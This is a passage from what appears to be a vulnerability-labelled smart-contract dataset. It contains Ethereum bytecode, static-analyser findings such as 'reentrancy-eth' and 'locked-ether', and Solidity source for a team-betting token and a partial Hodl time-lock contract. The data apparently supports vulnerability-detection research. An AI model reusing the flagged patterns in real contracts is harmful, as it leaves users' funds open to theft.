1045490836106b2565b6001600160a01b038516600090815260096020908152604080832093909355600a81528282203383529052205461048b90836106b2565b6001600160a01b038086166000908152600a602090815260408083203384528252808320949094559186168152600990915220546104c99083610826565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061051d9086815260200190565b60405180910390a35060019392505050565b60018054610293906109d4565b6004546000906001600160a01b038481166101009092041614156105955760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b60448201526064015b60405180910390fd5b336000908152600960205260409020546105af90836106b2565b33600090815260096020526040808220929092556001600160a01b038516815220546105db9083610826565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103869086815260200190565b6000546001600160a01b0316331461064357600080fd5b6001600160a01b0382166106a45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20636c61696d2066726f6d20746865207a65726f206164647265604482015261737360f01b606482015260840161058c565b6106ae8282610841565b5050565b6000828211156106c157600080fd5b6106cb8284610a25565b9392505050565b6004546001600160a01b03828116610100909204161415806107985750600854604051630c73320760e31b81526001600160a01b03848116600483015290911690636399903890602401602060405180830381865afa158015610739573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075d9190610a3c565b15156001148061077a57506007546001600160a01b038381169116145b801561079857506004546001600160a01b0382811661010090920416145b806107da57506004546001600160a01b03828116610100909204161480156107da57506006546001600160a01b03831660009081526009602052604090205411155b6106ae5760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f2061646472657373000000000000604482015260640161058c565b60006108328284610a5e565b90508281101561039257600080fd5b600780546001600160a01b0319166001600160a01b0384161790556005546108699082610826565b6005556001600160a01b03821660009081526009602052604090205461088f9082610826565b6001600160a01b0390921660009081526009602052604090209190915550565b600060208083528351808285015260005b818110156108dc578581018301518582016040015282016108c0565b818111156108ee576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461091b57600080fd5b919050565b6000806040838503121561093357600080fd5b61093c83610904565b946020939093013593505050565b60008060006060848603121561095f57600080fd5b61096884610904565b925061097660208501610904565b9150604084013590509250925092565b60006020828403121561099857600080fd5b6106cb82610904565b600080604083850312156109b457600080fd5b6109bd83610904565b91506109cb60208401610904565b90509250929050565b600181811c908216806109e857607f821691505b60208210811415610a0957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610a3757610a37610a0f565b500390565b600060208284031215610a4e57600080fd5b815180151581146106cb57600080fd5b60008219821115610a7157610a71610a0f565b50019056fea2646970667358221220c539db90c1ad6159e0fa07fcfd0f24f00221bbf1f34e7e86096a70e7bb9ccc2b64736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 7,852 |
0xb389327f8325d9568826b0f3ca63ef613687cfab
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/ownership/Ownable.sol
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title StandardToken
* @dev https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/StandardToken.sol
* @dev Standard ERC20 token
*/
contract StandardToken {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) internal balances_;
mapping(address => mapping(address => uint256)) internal allowed_;
uint256 internal totalSupply_;
string public name;
string public symbol;
uint8 public decimals;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances_[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed_ to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed_[_owner][_spender];
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances_[msg.sender]);
balances_[msg.sender] = balances_[msg.sender].sub(_value);
balances_[_to] = balances_[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances_[_from]);
require(_value <= allowed_[_from][msg.sender]);
balances_[_from] = balances_[_from].sub(_value);
balances_[_to] = balances_[_to].add(_value);
allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed_[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
}
/**
* @title EthTeamContract
* @dev The team token. One token represents a team. EthTeamContract is also a ERC20 standard token.
*/
contract EthTeamContract is StandardToken, Ownable {
event Buy(address indexed token, address indexed from, uint256 value, uint256 weiValue);
event Sell(address indexed token, address indexed from, uint256 value, uint256 weiValue);
event BeginGame(address indexed team1, address indexed team2, uint64 gameTime);
event EndGame(address indexed team1, address indexed team2, uint8 gameResult);
event ChangeStatus(address indexed team, uint8 status);
/**
* @dev Token price based on ETH
*/
uint256 public price;
/**
* @dev status=0 buyable & sellable, user can buy or sell the token.
* status=1 not buyable & not sellable, user cannot buy or sell the token.
*/
uint8 public status;
/**
* @dev The game start time. gameTime=0 means game time is not enabled or not started.
*/
uint64 public gameTime;
/**
* @dev If the time is older than FinishTime (usually one month after game).
* The owner has permission to transfer the balance to the feeOwner.
* The user can get back the balance using the website after this time.
*/
uint64 public finishTime;
/**
* @dev The fee owner. The fee will send to this address.
*/
address public feeOwner;
/**
* @dev Game opponent, gameOpponent is also a EthTeamContract.
*/
address public gameOpponent;
/**
* @dev Team name and team symbol will be ERC20 token name and symbol. Token decimals will be 3.
* Token total supply will be 0. The initial price will be 1 szabo (1000000000000 Wei)
*/
function EthTeamContract(
string _teamName, string _teamSymbol, address _gameOpponent, uint64 _gameTime, uint64 _finishTime, address _feeOwner
) public {
name = _teamName;
symbol = _teamSymbol;
decimals = 3;
totalSupply_ = 0;
price = 1 szabo;
gameOpponent = _gameOpponent;
gameTime = _gameTime;
finishTime = _finishTime;
feeOwner = _feeOwner;
owner = msg.sender;
}
/**
* @dev Sell Or Transfer the token.
*
* Override ERC20 transfer token function. If the _to address is not this EthTeamContract,
* then call the super transfer function, which will be ERC20 token transfer.
* Otherwise, the user want to sell the token (EthTeamContract -> ETH).
* @param _to address The address which you want to transfer/sell to
* @param _value uint256 the amount of tokens to be transferred/sold
*/
function transfer(address _to, uint256 _value) public returns (bool) {
if (_to != address(this)) {
return super.transfer(_to, _value);
}
require(_value <= balances_[msg.sender] && status == 0);
// If gameTime is enabled (larger than 1514764800 (2018-01-01))
if (gameTime > 1514764800) {
// We will not allowed to sell after game start
require(gameTime > block.timestamp);
}
balances_[msg.sender] = balances_[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
uint256 weiAmount = price.mul(_value);
msg.sender.transfer(weiAmount);
emit Transfer(msg.sender, _to, _value);
emit Sell(_to, msg.sender, _value, weiAmount);
return true;
}
/**
* @dev Buy token using ETH
* User send ETH to this EthTeamContract, then his token balance will be increased based on price.
* The total supply will also be increased.
*/
function() payable public {
require(status == 0 && price > 0);
// If gameTime is enabled (larger than 1514764800 (2018-01-01))
if (gameTime > 1514764800) {
// We will not allowed to buy after game start
require(gameTime > block.timestamp);
}
uint256 amount = msg.value.div(price);
balances_[msg.sender] = balances_[msg.sender].add(amount);
totalSupply_ = totalSupply_.add(amount);
emit Transfer(address(this), msg.sender, amount);
emit Buy(address(this), msg.sender, amount, msg.value);
}
/**
* @dev The the game status.
*
* status = 0 buyable & sellable, user can buy or sell the token.
* status=1 not buyable & not sellable, user cannot buy or sell the token.
* @param _status The game status.
*/
function changeStatus(uint8 _status) onlyOwner public {
require(status != _status);
status = _status;
emit ChangeStatus(address(this), _status);
}
/**
* @dev Change the fee owner.
*
* @param _feeOwner The new fee owner.
*/
function changeFeeOwner(address _feeOwner) onlyOwner public {
require(_feeOwner != feeOwner && _feeOwner != address(0));
feeOwner = _feeOwner;
}
/**
* @dev Finish the game
*
* If the time is older than FinishTime (usually one month after game).
* The owner has permission to transfer the balance to the feeOwner.
* The user can get back the balance using the website after this time.
*/
function finish() onlyOwner public {
require(block.timestamp >= finishTime);
feeOwner.transfer(address(this).balance);
}
/**
* @dev Start the game
*
* Start a new game. Initialize game opponent, game time and status.
* @param _gameOpponent The game opponent contract address
* @param _gameTime The game begin time. optional
*/
function beginGame(address _gameOpponent, uint64 _gameTime) onlyOwner public {
require(_gameOpponent != address(this));
// 1514764800 = 2018-01-01
require(_gameTime == 0 || (_gameTime > 1514764800));
gameOpponent = _gameOpponent;
gameTime = _gameTime;
status = 0;
emit BeginGame(address(this), _gameOpponent, _gameTime);
}
/**
* @dev End the game with game final result.
*
* The function only allow to be called with the lose team or the draw team with large balance.
* We have this rule because the lose team or draw team will large balance need transfer balance to opposite side.
* This function will also change status of opposite team by calling transferFundAndEndGame function.
* So the function only need to be called one time for the home and away team.
* The new price will be recalculated based on the new balance and total supply.
*
* Balance transfer rule:
* 1. The rose team will transfer all balance to opposite side.
* 2. If the game is draw, the balances of two team will go fifty-fifty.
* 3. If game is canceled, the balance is not touched and the game states will be reset to initial states.
* 4. The fee will be 5% of each transfer amount.
* @param _gameOpponent The game opponent contract address
* @param _gameResult game result. 1=lose, 2=draw, 3=cancel, 4=win (not allow)
*/
function endGame(address _gameOpponent, uint8 _gameResult) onlyOwner public {
require(gameOpponent != address(0) && gameOpponent == _gameOpponent);
uint256 amount = address(this).balance;
uint256 opAmount = gameOpponent.balance;
require(_gameResult == 1 || (_gameResult == 2 && amount >= opAmount) || _gameResult == 3);
EthTeamContract op = EthTeamContract(gameOpponent);
if (_gameResult == 1) {
// Lose
if (amount > 0 && totalSupply_ > 0) {
uint256 lostAmount = amount;
// If opponent has supply
if (op.totalSupply() > 0) {
// fee is 5%
uint256 feeAmount = lostAmount.div(20);
lostAmount = lostAmount.sub(feeAmount);
feeOwner.transfer(feeAmount);
op.transferFundAndEndGame.value(lostAmount)();
} else {
// If opponent has not supply, then send the lose money to fee owner.
feeOwner.transfer(lostAmount);
op.transferFundAndEndGame();
}
} else {
op.transferFundAndEndGame();
}
} else if (_gameResult == 2) {
// Draw
if (amount > opAmount) {
lostAmount = amount.sub(opAmount).div(2);
if (op.totalSupply() > 0) {
// fee is 5%
feeAmount = lostAmount.div(20);
lostAmount = lostAmount.sub(feeAmount);
feeOwner.transfer(feeAmount);
op.transferFundAndEndGame.value(lostAmount)();
} else {
feeOwner.transfer(lostAmount);
op.transferFundAndEndGame();
}
} else if (amount == opAmount) {
op.transferFundAndEndGame();
} else {
// should not happen
revert();
}
} else if (_gameResult == 3) {
//canceled
op.transferFundAndEndGame();
} else {
// should not happen
revert();
}
endGameInternal();
if (totalSupply_ > 0) {
price = address(this).balance.div(totalSupply_);
}
emit EndGame(address(this), _gameOpponent, _gameResult);
}
/**
* @dev Reset team token states
*
*/
function endGameInternal() private {
gameOpponent = address(0);
gameTime = 0;
status = 0;
}
/**
* @dev Reset team states and recalculate the price.
*
* This function will be called by opponent team token after end game.
* It accepts the ETH transfer and recalculate the new price based on
* new balance and total supply.
*/
function transferFundAndEndGame() payable public {
require(gameOpponent != address(0) && gameOpponent == msg.sender);
if (msg.value > 0 && totalSupply_ > 0) {
price = address(this).balance.div(totalSupply_);
}
endGameInternal();
}
}
|
0x6080604052600436106101185763ffffffff60e060020a600035041662203116811461026e57806306fdde0314610297578063095ea7b31461032157806318160ddd14610359578063200d2ed21461038057806323b872dd146103ab578063313ce567146103d55780635958611e146103ea57806370a082311461041c57806384465fa51461043d5780638da5cb5b1461045e57806395bc95381461048f57806395d89b41146104aa57806397b817c9146104bf578063a035b1fe146104ed578063a5d1c0c014610502578063a9059cbb14610517578063b9818be11461053b578063c8a5e6d714610550578063d56b288914610558578063dd62ed3e1461056d578063f2fde38b14610594578063fef8383e146105b5575b60075460009060ff1615801561013057506000600654115b151561013b57600080fd5b600754635a497a0061010090910467ffffffffffffffff161115610177576007544261010090910467ffffffffffffffff161161017757600080fd5b60065461018b90349063ffffffff6105ca16565b600160a060020a0333166000908152602081905260409020549091506101b7908263ffffffff6105df16565b600160a060020a0333166000908152602081905260409020556002546101e3908263ffffffff6105df16565b600255604080518281529051600160a060020a033381169230909116916000805160206114f48339815191529181900360200190a333600160a060020a031630600160a060020a03167f89f5adc174562e07c9c9b1cae7109bbecb21cf9d1b2847e550042b8653c54a0e8334604051808381526020018281526020019250505060405180910390a350005b34801561027a57600080fd5b50610295600160a060020a036004351660ff602435166105f9565b005b3480156102a357600080fd5b506102ac610a89565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102e65781810151838201526020016102ce565b50505050905090810190601f1680156103135780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561032d57600080fd5b50610345600160a060020a0360043516602435610b17565b604080519115158252519081900360200190f35b34801561036557600080fd5b5061036e610b81565b60408051918252519081900360200190f35b34801561038c57600080fd5b50610395610b87565b6040805160ff9092168252519081900360200190f35b3480156103b757600080fd5b50610345600160a060020a0360043581169060243516604435610b90565b3480156103e157600080fd5b50610395610cfe565b3480156103f657600080fd5b506103ff610d07565b6040805167ffffffffffffffff9092168252519081900360200190f35b34801561042857600080fd5b5061036e600160a060020a0360043516610d24565b34801561044957600080fd5b50610295600160a060020a0360043516610d3f565b34801561046a57600080fd5b50610473610dbf565b60408051600160a060020a039092168252519081900360200190f35b34801561049b57600080fd5b5061029560ff60043516610dd3565b3480156104b657600080fd5b506102ac610e5c565b3480156104cb57600080fd5b50610295600160a060020a036004351667ffffffffffffffff60243516610eb7565b3480156104f957600080fd5b5061036e610fbb565b34801561050e57600080fd5b506103ff610fc1565b34801561052357600080fd5b50610345600160a060020a0360043516602435610fd6565b34801561054757600080fd5b506104736111b2565b6102956111c1565b34801561056457600080fd5b50610295611237565b34801561057957600080fd5b5061036e600160a060020a03600435811690602435166112bb565b3480156105a057600080fd5b50610295600160a060020a03600435166112e6565b3480156105c157600080fd5b5061047361138f565b600081838115156105d757fe5b049392505050565b6000828201838110156105ee57fe5b8091505b5092915050565b600554600090819081908190819033600160a060020a03908116610100909204161461062457600080fd5b600954600160a060020a03161580159061064b5750600954600160a060020a038881169116145b151561065657600080fd5b600954600160a060020a033081163196501631935060ff86166001148061068b57508560ff16600214801561068b5750838510155b8061069957508560ff166003145b15156106a457600080fd5b600954600160a060020a0316925060ff8616600114156108f8576000851180156106d057506000600254115b1561089c57849150600083600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561071857600080fd5b505af115801561072c573d6000803e3d6000fd5b505050506040513d602081101561074257600080fd5b505111156108055761075b82601463ffffffff6105ca16565b905061076d828263ffffffff61139e16565b600854604051919350600160a060020a03169082156108fc029083906000818181858888f193505050501580156107a8573d6000803e3d6000fd5b5082600160a060020a031663c8a5e6d7836040518263ffffffff1660e060020a0281526004016000604051808303818588803b1580156107e757600080fd5b505af11580156107fb573d6000803e3d6000fd5b5050505050610897565b600854604051600160a060020a039091169083156108fc029084906000818181858888f1935050505015801561083f573d6000803e3d6000fd5b5082600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561087e57600080fd5b505af1158015610892573d6000803e3d6000fd5b505050505b6108f3565b82600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b1580156108da57600080fd5b505af11580156108ee573d6000803e3d6000fd5b505050505b610a04565b8560ff16600214156109ba578385111561096f5761092d6002610921878763ffffffff61139e16565b9063ffffffff6105ca16565b9150600083600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561071857600080fd5b838514156109b55782600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561087e57600080fd5b600080fd5b8560ff16600314156109b55782600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b1580156108da57600080fd5b610a0c6113b0565b60006002541115610a3957600254610a3590600160a060020a033016319063ffffffff6105ca16565b6006555b6040805160ff881681529051600160a060020a03808a169230909116917fca877aac494c1a237a54e53d1cf34403a485633cd56280f38c182df72936526f9181900360200190a350505050505050565b6003805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610b0f5780601f10610ae457610100808354040283529160200191610b0f565b820191906000526020600020905b815481529060010190602001808311610af257829003601f168201915b505050505081565b600160a060020a03338116600081815260016020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b60075460ff1681565b6000600160a060020a0383161515610ba757600080fd5b600160a060020a038416600090815260208190526040902054821115610bcc57600080fd5b600160a060020a0380851660009081526001602090815260408083203390941683529290522054821115610bff57600080fd5b600160a060020a038416600090815260208190526040902054610c28908363ffffffff61139e16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610c5d908363ffffffff6105df16565b600160a060020a0380851660009081526020818152604080832094909455878316825260018152838220339093168252919091522054610ca3908363ffffffff61139e16565b600160a060020a038086166000818152600160209081526040808320338616845282529182902094909455805186815290519287169391926000805160206114f4833981519152929181900390910190a35060019392505050565b60055460ff1681565b6007546901000000000000000000900467ffffffffffffffff1681565b600160a060020a031660009081526020819052604090205490565b60055433600160a060020a039081166101009092041614610d5f57600080fd5b600854600160a060020a03828116911614801590610d855750600160a060020a03811615155b1515610d9057600080fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6005546101009004600160a060020a031681565b60055433600160a060020a039081166101009092041614610df357600080fd5b60075460ff82811691161415610e0857600080fd5b6007805460ff831660ff1990911681179091556040805191825251600160a060020a033016917fb82ce22096c6500c582b45cfbf153014e62fd0cbcccaf9a68dc6bfbd53d875d3919081900360200190a250565b6004805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610b0f5780601f10610ae457610100808354040283529160200191610b0f565b60055433600160a060020a039081166101009092041614610ed757600080fd5b30600160a060020a031682600160a060020a031614151515610ef857600080fd5b67ffffffffffffffff81161580610f1c5750635a497a008167ffffffffffffffff16115b1515610f2757600080fd5b6009805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038481169182179092556007805468ffffffffffffffff00191661010067ffffffffffffffff86169081029190911760ff1916909155604080519182525191923016917f1892465d280bc871343cfbf3c63bbbc2bee69afc8d669e83d7e94e54d74c8933916020908290030190a35050565b60065481565b600754610100900467ffffffffffffffff1681565b60008030600160a060020a031684600160a060020a031614151561100557610ffe84846113e1565b91506105f2565b600160a060020a0333166000908152602081905260409020548311801590611030575060075460ff16155b151561103b57600080fd5b600754635a497a0061010090910467ffffffffffffffff161115611077576007544261010090910467ffffffffffffffff161161107757600080fd5b600160a060020a0333166000908152602081905260409020546110a0908463ffffffff61139e16565b600160a060020a0333166000908152602081905260409020556002546110cc908463ffffffff61139e16565b6002556006546110e2908463ffffffff6114c816565b604051909150600160a060020a0333169082156108fc029083906000818181858888f1935050505015801561111b573d6000803e3d6000fd5b5083600160a060020a031633600160a060020a03166000805160206114f4833981519152856040518082815260200191505060405180910390a333600160a060020a031684600160a060020a03167fa082022e93cfcd9f1da5f9236718053910f7e840da080c789c7845698dc032ff8584604051808381526020018281526020019250505060405180910390a35060019392505050565b600854600160a060020a031681565b600954600160a060020a0316158015906111e9575060095433600160a060020a039081169116145b15156111f457600080fd5b60003411801561120657506000600254115b1561122d5760025461122990600160a060020a033016319063ffffffff6105ca16565b6006555b6112356113b0565b565b60055433600160a060020a03908116610100909204161461125757600080fd5b6007546901000000000000000000900467ffffffffffffffff1642101561127d57600080fd5b600854604051600160a060020a039182169130163180156108fc02916000818181858888f193505050501580156112b8573d6000803e3d6000fd5b50565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b60055433600160a060020a03908116610100909204161461130657600080fd5b600160a060020a038116151561131b57600080fd5b600554604051600160a060020a0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360058054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600954600160a060020a031681565b6000828211156113aa57fe5b50900390565b6009805473ffffffffffffffffffffffffffffffffffffffff191690556007805468ffffffffffffffffff19169055565b6000600160a060020a03831615156113f857600080fd5b600160a060020a03331660009081526020819052604090205482111561141d57600080fd5b600160a060020a033316600090815260208190526040902054611446908363ffffffff61139e16565b600160a060020a03338116600090815260208190526040808220939093559085168152205461147b908363ffffffff6105df16565b600160a060020a03808516600081815260208181526040918290209490945580518681529051919333909316926000805160206114f483398151915292918290030190a350600192915050565b6000808315156114db57600091506105f2565b508282028284828115156114eb57fe5b04146105ee57fe00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820f2f16ee763d1ac2f491b038cfb87cb39039657cde8bc006a2cccc510cbfe365e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 7,853 |
0x89712949818680ce646a0161b0bc08941275df49
|
/**
* https://github.com/drlecks/Ethereum-Contracts/tree/master/Hodl
*/
pragma solidity ^0.4.23;
contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
//How many decimals to show.
uint256 public decimals;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract OwnableContract {
address superOwner;
constructor() public {
superOwner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == superOwner);
_;
}
function viewSuperOwner() public view returns (address owner) {
return superOwner;
}
function changeOwner(address newOwner) onlyOwner public {
superOwner = newOwner;
}
}
contract BlockableContract is OwnableContract{
bool public blockedContract;
constructor() public {
blockedContract = false;
}
modifier contractActive() {
require(!blockedContract);
_;
}
function doBlockContract() onlyOwner public {
blockedContract = true;
}
function unBlockContract() onlyOwner public {
blockedContract = false;
}
}
contract Hodl is BlockableContract{
struct Safe{
uint256 id;
address user;
address tokenAddress;
uint256 amount;
uint256 time;
}
/**
* @dev safes variables
*/
mapping( address => uint256[]) public _userSafes;
mapping( uint256 => Safe) private _safes;
uint256 private _currentIndex;
mapping( address => uint256) public _totalSaved;
/**
* @dev owner variables
*/
uint256 public comission; //0..100
mapping( address => uint256) private _systemReserves;
address[] public _listedReserves;
/**
* constructor
*/
constructor() public {
_currentIndex = 1;
comission = 10;
}
/**
* fallback function to receive donation eth
*/
function () public payable {
require(msg.value>0);
_systemReserves[0x0] = add(_systemReserves[0x0], msg.value);
}
/**
* how many safes has the user
*/
function GetUserSafesLength(address a) public view returns (uint256 length) {
return _userSafes[a].length;
}
/**
* how many tokens are reservedfor owner as comission
*/
function GetReserveAmount(address tokenAddress) public view returns (uint256 amount){
return _systemReserves[tokenAddress];
}
/**
* returns safe's values'
*/
function Getsafe(uint256 _id) public view
returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 time)
{
Safe storage s = _safes[_id];
return(s.id, s.user, s.tokenAddress, s.amount, s.time);
}
/**
* add new hodl safe (ETH)
*/
function HodlEth(uint256 time) public contractActive payable {
require(msg.value > 0);
require(time>now);
_userSafes[msg.sender].push(_currentIndex);
_safes[_currentIndex] = Safe(_currentIndex, msg.sender, 0x0, msg.value, time);
_totalSaved[0x0] = add(_totalSaved[0x0], msg.value);
_currentIndex++;
}
/**
* add new hodl safe (ERC20 token)
*/
function ClaimHodlToken(address tokenAddress, uint256 amount, uint256 time) public contractActive {
require(tokenAddress != 0x0);
require(amount>0);
require(time>now);
EIP20Interface token = EIP20Interface(tokenAddress);
require( token.transferFrom(msg.sender, address(this), amount) );
_userSafes[msg.sender].push(_currentIndex);
_safes[_currentIndex] = Safe(_currentIndex, msg.sender, tokenAddress, amount, time);
_totalSaved[tokenAddress] = add(_totalSaved[tokenAddress], amount);
_currentIndex++;
}
/**
* user, claim back a hodl safe
*/
function UserRetireHodl(uint256 id) public {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.user == msg.sender);
RetireHodl(id);
}
/**
* private retire hodl safe action
*/
function RetireHodl(uint256 id) private {
Safe storage s = _safes[id];
require(s.id != 0);
if(s.time < now) //hodl complete
{
if(s.tokenAddress == 0x0)
PayEth(s.user, s.amount);
else
PayToken(s.user, s.tokenAddress, s.amount);
}
else //hodl in progress
{
uint256 realComission = mul(s.amount, comission) / 100;
uint256 realAmount = sub(s.amount, realComission);
if(s.tokenAddress == 0x0)
PayEth(s.user, realAmount);
else
PayToken(s.user, s.tokenAddress, realAmount);
StoreComission(s.tokenAddress, realComission);
}
DeleteSafe(s);
}
/**
* private pay eth to address
*/
function PayEth(address user, uint256 amount) private {
require(address(this).balance >= amount);
user.transfer(amount);
}
/**
* private pay token to address
*/
function PayToken(address user, address tokenAddress, uint256 amount) private{
EIP20Interface token = EIP20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(user, amount);
}
/**
* store comission from unfinished hodl
*/
function StoreComission(address tokenAddress, uint256 amount) private {
_systemReserves[tokenAddress] = add(_systemReserves[tokenAddress], amount);
bool isNew = true;
for(uint256 i = 0; i < _listedReserves.length; i++) {
if(_listedReserves[i] == tokenAddress) {
isNew = false;
break;
}
}
if(isNew) _listedReserves.push(tokenAddress);
}
/**
* delete safe values in storage
*/
function DeleteSafe(Safe s) private {
_totalSaved[s.tokenAddress] = sub(_totalSaved[s.tokenAddress], s.amount);
delete _safes[s.id];
uint256[] storage vector = _userSafes[msg.sender];
uint256 size = vector.length;
for(uint256 i = 0; i < size; i++) {
if(vector[i] == s.id) {
vector[i] = vector[size-1];
vector.length--;
break;
}
}
}
//OWNER
/**
* owner retire hodl safe
*/
function OwnerRetireHodl(uint256 id) public onlyOwner {
Safe storage s = _safes[id];
require(s.id != 0);
RetireHodl(id);
}
/**
* owner, change comission value
*/
